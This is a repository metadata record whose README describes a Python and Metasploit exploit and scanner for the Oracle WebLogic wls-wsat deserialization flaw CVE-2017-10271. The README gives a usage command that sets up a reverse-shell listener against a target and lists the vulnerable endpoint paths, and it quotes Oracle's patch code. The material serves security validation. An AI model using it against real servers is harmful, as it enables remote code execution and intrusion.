{"id":20598367,"url":"https://github.com/kkirsche/cve-2017-10271","last_synced_at":"2025-08-22T05:32:41.050Z","repository":{"id":52558335,"uuid":"116430643","full_name":"kkirsche/CVE-2017-10271","owner":"kkirsche","description":"Oracle WebLogic WLS-WSAT Remote Code Execution Exploit (CVE-2017-10271)","archived":false,"fork":false,"pushed_at":"2022-09-16T12:53:46.000Z","size":123215,"stargazers_count":125,"open_issues_count":3,"forks_count":42,"subscribers_count":7,"default_branch":"master","last_synced_at":"2024-12-11T13:06:58.277Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/kkirsche.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2018-01-05T21:57:03.000Z","updated_at":"2024-08-12T19:35:18.000Z","dependencies_parsed_at":"2022-08-29T00:41:22.708Z","dependency_job_id":null,"html_url":"https://github.com/kkirsche/CVE-2017-10271","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kkirsche%2FCVE-2017-10271","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kkirsche%2FCVE-2017-10271/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kkirsche%2FCVE-2017-10271/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kkirsche%2FCVE-2017-10271/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/kkirsche","download_url":"https://codeload.github.com/kkirsche/CVE-2017-10271/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":230561014,"owners_count":18245324,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-11-16T08:26:34.138Z","updated_at":"2024-12-20T09:07:37.836Z","avatar_url":"https://github.com/kkirsche.png","language":"Go","funding_links":[],"categories":[],"sub_categories":[],"readme":"# CVE-2017-10271\n\nWeblogic wls-wsat Component Deserialization Vulnerability (CVE-2017-10271) Detection and Exploitation Script\n\n### Usage\n\n```bash\n$ python CVE-2017-10271.py -l 10.10.10.10 -p 4444 -r http://will.bepwned.com:7001/\n```\n\n### Features\n\n* Standalone Python script\n  * Check functionality to see if any host is vulnerable\n  * Exploit functionality for Linux targets\n* Metasploit module\n  * Check functionality to see if any host is vulnerable\n  * Exploit functionality for all targets\n* Scanner (./scanners)\n  * Checks to see if hosts is vulnerable. Fully self-contained\n\n## Legal Notices\n\nYou are responsible for the use of this script. Kevin Kirsche takes no responsibility for any actions taken using the code here. The code was created for teams looking to validate the security of their servers, not for malicious use.\n\n## Thanks\n\nBig thanks to Luffin for creating the original POC that this was based on https://github.com/Luffin/CVE-2017-10271\n\n## Vulnerable URL's other than the one shown:\n\n```\n/wls-wsat/CoordinatorPortType\n/wls-wsat/CoordinatorPortType11\n/wls-wsat/ParticipantPortType\n/wls-wsat/ParticipantPortType11\n/wls-wsat/RegistrationPortTypeRPC\n/wls-wsat/RegistrationPortTypeRPC11\n/wls-wsat/RegistrationRequesterPortType\n/wls-wsat/RegistrationRequesterPortType11\n```\n\n## Related Vulnerability\nCVE 2017-3506\n\n## Oracle's Patch\n\nOriginal Source:\nhttps://blog.nsfocusglobal.com/threats/vulnerability-analysis/technical-analysis-and-solution-of-weblogic-server-wls-component-vulnerability/\n\nUpdated Source:\nhttps://nsfocusglobal.com/technical-analysis-and-solution-of-weblogic-server-wls-component-vulnerability/\n\n```java\nprivate void validate(InputStream is) {\n WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();\n \n try {\n  SAXParser parser = factory.newSAXParser();\n  \n  parser.parse(is, new DefaultHandler()) {\n   private int overallarraylength = 0;\n   \n   public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXEception {\n    if (qName.equalsIgnoreCase(\"object\")) {\n     throw new IllegalStateException(\"Invalid element qName:object\");\n    } else if (qName.equalsIgnoreCase(\"new\")) {\n     throw new IllegalStateException(\"Invalid element qName:new\");\n    } else if (qName.equalsIgnoreCase(\"method\")) {\n     throw new IllegalStateException(\"Invalid element qName:method\");\n    } else {\n     if (qName.equalsIgnoreCase(\"void\")) {\n      for(int attClass = 0;attClass \u003c attributes.getLength(); ++attClass) {\n       if (!\"index\".equalsIgnoreCase(attributes.getQName(attClass))) {\n        throw new IllegalStateException(\"Invalid attribute for element void: \" + attributes.getQName(attClass));\n       }\n      }\n     }\n     \n     ... more code here ...\n    }\n   }\n  }\n }\n}\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fkkirsche%2Fcve-2017-10271","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fkkirsche%2Fcve-2017-10271","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fkkirsche%2Fcve-2017-10271/lists"}